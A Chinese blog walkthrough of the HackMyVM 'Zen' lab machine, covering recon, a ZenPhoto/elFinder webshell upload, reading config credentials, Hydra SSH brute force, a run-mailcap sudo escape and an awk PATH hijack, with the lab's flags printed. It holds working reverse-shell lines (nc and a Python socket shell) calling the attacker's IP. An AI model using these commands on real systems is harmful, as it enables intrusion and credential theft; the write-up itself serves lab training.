HackMyVm.eu:Zen 完整渗透流程

OSCP-ZenPhoto(zenphoto) 目标机器的根页面将带到标题为“UNDER CONSTRUCTION”(建设中)的空白页面。/test/目录将带到下面的页面,根据右下角,该页面正在ZenPhoto上运行。查看页面源代码并滚动到底部可以看到正在运行的ZenPhoto的确切版本。该shell不太稳定,反弹一个稳定的shell。爆破目录 和 nikto 一下。以下漏洞检测为“极有可能”google搜索查看漏洞。 阅读详情
零基础学黑客,搜索公众号:白帽子左一

作者:掌控安全——xiaoxian

一、环境配置

1、靶机信息
下载地址:

https://hackmyvm.eu/machines/machine.php?vm=Zen

靶场: HackMyVm.eu

靶机名称: Zen

难度: 困难

2、搭建环境

攻击机:kali 192.168.100.102 将kali网卡桥接到靶机在一个网卡上

图片

图片

二、渗透过程

1、信息收集

获取靶机IP地址

nmap -sP 192.168.100.1/24

图片

扫描端口服务

sudo nmap -sC -sV -p- 192.168.100.105 -oN nmap.log

图片

发现有 robots.txt 访问一下
图片

发现有几个目录,访问试试
只有一个zp-core目录访问后是空白页面,其他都报403

看看主页

图片

开启BP抓取数据包看看
图片

好像没啥搞头,继续目录扫描,看是否有敏感目录

目录扫描

gobuster dir -u http://192.168.100.105/site/ -w /usr/share/dirb/wordlists/big.txt -t 100 -x .php,.txt,.zip

图片

尴尬,好像没啥目录

换个工具试试,也有可能是字典不够强大…

dirsearch yyds 扫出来了些东西

图片

挨个访问,也没啥有用的东西啊…

回看刚刚的数据包,好像有个东西错过了

图片

zenphoto 是个应用,查看响应版本的是否有漏洞

找到一个文件上传RCE的漏洞

图片

但是需要登录

所以我们现在需要寻找登录的目录

dirsearch -u http://192.168.100.105/zp-core -t 100 -e php

图片

找到登录地址了

访问

图片

但是不知道账号密码

图片

啊这 点一下登录框就提示admin

尝试爆破一下

发现不行

回忆之前发现的一个疑似密码的目录

图片

很快啊,就进去了~

图片

登录成功,来找找文件上传漏洞

图片

跟着要求复现一下

需要在插件中找到上传插件,然后勾选elFinder并点击应用,之后将webshell拖放到上传功能页面中上传,最后到uploaded目录下找webshell文件

图片

尝试上传webshell

webshell写一个访问式反弹的语句

&1|nc 192.168.100.102 443 >/tmp/f’);?>

图片

上传成功,准备连接执行反弹shell
kali 监听 443端口

sudo nc -lvvp 443

图片

访问webshell触发反弹

在webshell文件中右键菜单中点击Get info即可触发反弹

图片

反弹成功,

现在我们开始信息收集,查看些敏感信息

图片

发现无法交互

要先切换到交互shell

linux系统默认安装python

我们利用python来获得一个交互shell

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

export TERM=xterm

Ctrl+z快捷键

stty raw -echo;fg

reset

图片

切换成功,我们来看看一些敏感信息

cat /etc/passwd |grep bash

图片

发现了三个账户信息,继续寻找

cat /var/www/html/zenphoto/zp-data/zenphoto.cfg.php

发现数据库账号密码,test teste

在这里插入图片描述

上面有拿到三个账户名,现在对这三个用户进行密码爆破

vim user.txt

kodo

zenmaster

hua

将三个用户名写入 user.txt 进行ssh 爆破

图片

hydra -L user.txt -P user.txt ssh://192.168.100.105

图片

拿到账号密码,登录SSH

ssh zenmaster@192.168.100.105

图片

登录成功,找到user.txt

图片

hmvzenit

图片

发现使用kodo 使用su命令无需密码

sudo -u kodo /bin/bash -p

拿到kodo权限,继续提权

发现hua可以无密码执行/usr/bin/see,

图片

发现see是run-mailcap的软链接,来看看run-mailcap如何提权

https://gtfobins.github.io/gtfobins/run-mailcap/

图片

知道提权方法,尝试一下

sudo -u hua /usr/bin/see --action=view /etc/hosts

命令执行后直接输入!/bin/bash然后回车返回hua的shell

图片

图片

还得继续提权

在这里插入图片描述

发现可以使用hua用户身份执行/usr/sbin/add-shell ze

看看/usr/sbin/add-shell是什么程序

cat /usr/sbin/add-shell

图片

在源码中看到程序会执行awk命令,我们来劫持这个命令来反弹shell

kali 上监听 4444端口

sudo nc -lvvp 4444

在/usr/local/bin目录下创建awk

cd /usr/local/bin/

vi awk

chmod +x awk

python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.100.102”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,“-i”]);’

图片

使用root用户身份执行add-shell

sudo /usr/sbin/add-shell zen

图片

反弹成功,拿到root权限,来找下flag

图片

图片

拿到root.txt 渗透结束

hmvzenit

hmvenlightenment

图片
在这里插入图片描述
在这里插入图片描述

Z-BlogPHP 1.5.2 Zero后台存在文件上传漏洞复现( CNVD-2019-12772) 文章目录0x01 简介0x02 漏洞概述0x03 影响版本0x04 漏洞编号0x05 漏洞分析第一步 获取数据包,查看文件上传功能接口第二步 查看该文件源码第三步全局搜索该函数,查看UnPack函数第四步 首先对app.php中的源码进行分析第五步 接着向下,继续分析,第六步 则根据最后一步骤,可生成开始时的exp,0x06 环境搭建第一步 使用phpstudy搭建网站第二步 解开源码压缩包第三步 打开浏览器第四步 默认下一步,直到数据库配置第五步 创建数据库第六步 输入相关信息点击下一步第七步 跳转至首 阅读详情

相关推荐

zenphoto php开源电子相册源码

zenphoto php电子相册,开源的好项目,支持插件 支持主题。大家可以在http://www.autotier.com或http://www.autotier.com/album上看到具体的演示效果哦。如果大家在安装使用上有什么问题或建议,可以在http://www.autotier.com或http://www.autotier.com/album网站上跟我留言哈。

带妹玩转Vulnhub【十一】

前言 国庆第四天œ∑´ 千金散尽还复来 开始 主机发现 netdiscover -r 192.168.43.0/24 端口扫描 nmap -A -p- -T4 192.168.43.232 渗透测试 80端口查看,emm没什么发现,针对smb服务我们可以使用enum4linux进行扫描,同样的使用dirb扫描一下目录 可以看到backup目录,可以看到这应该是个网站的源码,下载下来,但...

BadRer的博客 705

zpbase:Zenphoto 主题

数据库 Zenphoto 主题 关于 将“zpbase”文件夹安装/上传到 Zenphoto 安装的“themes”文件夹中。 在 Zenphoto 的后台管理中激活主题和设置选项。 Zenphoto 是用于多媒体网站的独立 CMS。 我们的重点在于易于使用并在您需要时拥有所有功能(但如果您不这样做,则不方便。) Zenphoto 支持图像、视频和音频格式,Zenpage CMS 插件提供完全集成的新闻部分(博客)和自定义页面来运行整个网站。 这使得 Zenphoto 成为插画家、艺术家、设计师、摄影师、电影制作人和音乐家的个人网站的理想 CMS。 zpBase 是 Zenphoto 的主题,设计风格简约,易于定制。 从明暗对比开始的选项。 从移动到桌面完全响应,无需单独的主题,手机、平板电脑等功能 - 全部内置。完全流畅,能够设置自己的最大宽度或完全 100% 宽度。 主页、相

【亲测免费】 ZenPhoto: 一个简单易用的照片和图像管理系统

ZenPhoto: 一个简单易用的照片和图像管理系统 是一个开源的照片和图像管理软件,它可以帮助您轻松地管理和分享您的照片和图片。 功能特性 简单易用的界面设计,无需编程知识即可进行基本操作 支持多种文件格式,包括JPEG、PNG、GIF等 支持自定义模板,可以根据自己的需求调整网站样式 支持多种语言,方便多语种用户使用 可以通过FTP或SFTP上传图片,支持批量上传 可以创建相册并设置访问权限...

gitblog_00044的博客 810

zenphoto:Zenphoto开源图库和CMS项目

Zenphoto 较简单的媒体网站CMS 欢迎来到Zenphoto git存储库! 关于 Zenphoto是用于多媒体网站的独立CMS。 我们的重点在于易于使用,并在需要时在其中提供所有功能(如果不需要,则不提供使用功能)。 Zenphoto支持图像,视频和音频格式,并且Zenpage CMS插件提供了完全集成的新闻部分(blog)和自定义页面,可以运行整个网站。 这使得Zenphoto成为插画家,艺术家,设计师,摄影师,电影制片人和音乐家个人网站的理想CMS。 阅读有关更多信息。 安装,升级和要求 请参阅“。 支持 有关Zenphoto的一般讨论,请访问。 如果您认为自己遇到了Zenphoto错误,请遵循以下准则: 关于安全性问题,请始终通过我们的与我们 贡献 有关捐款的一般信息,请参见

PHP电子相册(附MySQL数据库)

可上传图片,浏览图片,创建新相册,向相册中添加、删除图片。可浏览好友公开的相册。

Run - hackmyvm

hackmyvm的Run靶场

tanbinn的博客 820

zenphoto 在线相册 v1.4.4.4

ZenPhoto是一款小巧的相册软件,基于PHP+MySQL技术构建,另需GD库支持。它安装方便,扩展性强,可轻易安装各类模版及插件,并可与 Wordpress整合。具备RSS输出、FTP上传方式、Tag功能、评论回复等功能,它除了能存放图片外,还支持FLV及WMV视频。

hackmyvm入门(靶机网络配置)

hackmyvm概述hackmyvm靶机下载地址靶机网络配置测试环境环境搭建愉快玩耍 hackmyvm概述 hackmyvm是一个平台,包含了大量靶机,类似于vulnhub、hackthebox等平台,你可以在上面下载靶机,进行渗透测试练习,非常适合热爱黑客技术或从事渗透测试的人员。我个人觉得,hackmyvm相比vulnhub好的地方在于它的靶机所占磁盘空间小,hackmyvm靶机一般在1G左右,而vulnhub靶机动不动就2G,甚至我见过还有6G的。不扯这些了,今天是聊一聊hackmyvm到底怎么玩.

Bu2n的博客 7988

目前国外最好最流行的10款相册CMS(图)

做相册的CMS很多.国内也有.本文主要介绍的是国外最流行的十种CMS相册.大家可以参考一下

zenphoto在线相册系统官方版 v1.4.4.4

zenphoto在线相册系统官方版 v1.4.4.4 系统介绍: zenphoto在线相册系统是一款简单易懂的系统,该系统以PHP+MySQL来实现的,系统的功能很强大,而且以Wordpress整合,还实现一些FTP上传方式,评论等功能,喜欢的朋友可以下载研究一下。

打靶手记之hackmyvm--connection

有读者想看打靶的文章,那就出个系列好啦先虚拟机配置,麋鹿运行靶场的环境为centos7,先在vmware设置里里启用虚拟化创建一个新的 repo 文件导入以下内容下载今日靶场导入VirtualBox并运行如下图,centos和kali选nat靶机选桥接,接口选以太网接口,也就是物理网络接口。桥接和nat的区别之前文章提到过,不懂的去看一下那张图先扫网段然后端口有ssh,http,smb先看一下web页面,默认页面扫目录没有东西,端口扫描发现445开放,那就去看看smb。

milu_Sec的博客 1547

HC32F460 SPI DMA 实现高效TFT屏幕刷新的实战解析

本文针对HC32F460 MCU驱动TFT屏幕时刷新卡顿的问题,深入解析了SPI DMA技术的实战应用。通过对比传统查询模式与DMA模式的性能数据,详细阐述了如何配置SPI与DMA资源、构建核心驱动框架,并提供了避坑指南与进阶优化思路,最终实现高效、流畅的屏幕刷新,显著降低CPU占用率。

weixin_29163797的博客 151

dc01 - hackmyvm

hackmyvm的dc01靶场

tanbinn的博客 1821

基于AutoDL复现A-LOAM

Ceres solver 是谷歌开发的一款用于非线性优化的库,在谷歌的开源激光雷达slam项目cartographer中被大量使用。在autodl上面租服务器,地区我租的重庆A区的,GPU我选择的是RTX4090,基础镜像选择的是Miniconda / conda3 / 3.8(ubuntu20.04)/11.6。在AutoDL中我使用的方式是先将该数据集先下载到自己的电脑上,然后再上传到虚拟机中。用MobaXterm解决该问题!搜到的一个解决方式:该问题属于ceres版本问题,将A-LOAM下的。

m0_61281610的博客 1942

别再傻傻分不清PBR和NPR了!从《原神》到《双城之战》,聊聊游戏里那些让你眼前一亮的渲染风格

本文深入解析了PBR(基于物理的渲染)与NPR(非真实感渲染)在游戏视觉风格中的应用差异,通过《原神》和《双城之战》的案例,展示了两种渲染技术如何创造出截然不同的艺术效果。从技术原理到实战案例,帮助读者理解如何根据项目需求选择合适的渲染风格。

weixin_30425949的博客 145

volumill插件下载网盘地址_介绍几个不错的免费开源PHP相册网盘系统

介绍几个免费开源PHP相册网盘系统。1、PiwigoPiwigo带有非常简单的安装界面和管理面板,具有强大的功能来发布和管理您的图片,强大丰富的插件让它号称是相册当中的Wordpress。官方网站:http://cn.piwigo.org/如果在官方网站下载的是piwigo-netinstall.php单文件安装脚本,将它上传到服务器,然后打开这个文件,提示进入网络安装(选择安装包方式请忽略这一...

weixin_39755625的博客 1257

WSL2不能上网,Failed to connect to github.com port 443问题解决方案

WSL2不能上网: 问题:ping外网无效 例如:ping www.baidu.com失败 解决方案: 在wsl: $sudo vi /etc/wsl.conf wsl.conf: [network] generateResolvConf = false 在PowerShell: $sudo vi /etc/etc/resolv.conf resolv.conf: # This file was automatically generated by WSL. To stop automatic gen

Jason_Chen__的博客 9525

多款开源免费网络相册/相册系统源码推荐

Flickr和Picasa是目前互联网两家知名的免费照片储存、分享的网站。当然你也可以拥有一个类似的网站,笔者今天整理并推荐几款国内外开源的相册源码。 Gallery   Gallery 是国外一个免费开源的图库相册软件,基于 PHP 和 MySQL/PostgreSQL 等数据库。功能非常强大,有丰富的扩展可以下载,安装很简单,有很多插件可用。非常易于使用,包括一个配置向导,对于相片

初学者的专栏 1万+

从入门到精通!Arduino 全栈开发深度指南

本文围绕 Arduino 开发撰写全攻略,从基础入门到高级应用层层递进。开篇介绍 Arduino 概念、优势及硬件家族,引导读者完成开发环境搭建与首个 LED 闪烁项目;深入讲解编程语法、I/O 控制及通信协议;详细阐述传感器、模块应用与调试优化技巧;最后以自定义库开发、低功耗设计等高级内容收尾,并给出综合项目案例与产品化思路。无论新手入门,还是开发者进阶,均可从中系统学习 Arduino 知识,掌握从理论到实践的全流程开发技能。

邓邓子的博客 2754

手把手教你学Simulink——机器人力控场景实例:基于Simulink的永磁同步电机重力补偿力矩控制仿真

本文介绍了基于Simulink的机器人重力补偿力矩控制仿真方法。针对机器人悬停时电机发热、抖动等问题,提出通过前馈补偿重力转矩的解决方案。文章详细阐述了从机器人动力学建模、重力补偿计算、PMSM转矩控制到系统集成的完整实现流程,并以2-DOF机械臂为例验证了补偿效果。结果表明,重力补偿能显著降低电机电流和拖拽力,提高系统柔顺性。文中还提供了高级功能扩展方向,如参数辨识、摩擦补偿等,为实际工程应用提供了参考框架。

MHD0815的博客 153

渗透测试练习No.45 HackMyVm之Worrosion3

靶机信息 下载地址: https://hackmyvm.eu/machines/machine.php?vm=Corrosion3 靶场: HackMyVm.eu 靶机名称: Worrosion3 难度: 简单 发布时间: 2022年2月18日 提示信息: 无 目标: 2个flag 实验环境 攻击机:VMware kali 192.168.7.3 靶机:Vbox linux IP自动获取 信息收集 扫描主机 扫描局域网内的靶机IP地址 sudo nmap -sP 192.168.7.1/24.

hljzzj的博客 5709

做了一个3DTiles编辑器,支持3DTiles的预览和裁剪导出

3DTiles编辑器的功能极其简洁,核心就是3DTiles格式模型的预览和裁剪。为了演示方便,本文所使用的源数据为mipmap3d[1]网站所提供的无人机拍摄影像,并进行3DTiles构建。打开软件,输入的绝对路径之后,点击添加模型,就可以将模型加载进预览区。之后,点击裁剪模式按钮,默认会出现立方体裁剪框,可通过拖动句柄的方式去调整裁剪框的范围。同时,除了默认的盒体裁切模式外,还支持多边形裁切,点击多边形裁切后,可切换到顶视图,选择重绘多边形,可进行打点绘制。

兴趣使然的创作者 599

Zenphoto Rewrite .htaccess

 RewriteEngine On# !!! Change this to the web path (eg: http://www.example.com/photos --> /photos) !!!RewriteBase /photosRewriteCond %{REQUEST_FILENAME} -f [NC,OR]RewriteCond %{REQUEST_FIL

xI4oh4o 's blog 1140

【报错】open /var/lib/docker/tmp/docker-import-863402796/bin/json: no such file or directory

然后,通过docker images可以看到镜像已经加载进来了。然后,通过docker images可以看到镜像已经加载进来了。

静谧、淡雅 6221

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

靶机渗透练习07-HackMyVm Area51 (Log4j2复现)

靶机地址:https://hackmyvm.eu/machines/machine.php?vm=Area51 网盘链接:https://pan.baidu.com/s/1MYO7cEOg2xou1FrC40v6qg?pwd=ja7r 1、主机探活 arp-scan -I eth0 -l (指定网卡扫) 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息) masscan 192.168.111.0/24 -p 80,22 (masscan 扫描的网段 -p 扫描端口号) netdiscover.

Force~ 3124

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

上一篇: 挖洞经验 | 教你查看老板工资
下一篇: Weblogic未授权访问以及LADP远程代码执行(CVE-2021-2109)
普通网友
博客等级 码龄7年 3834粉丝 233原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值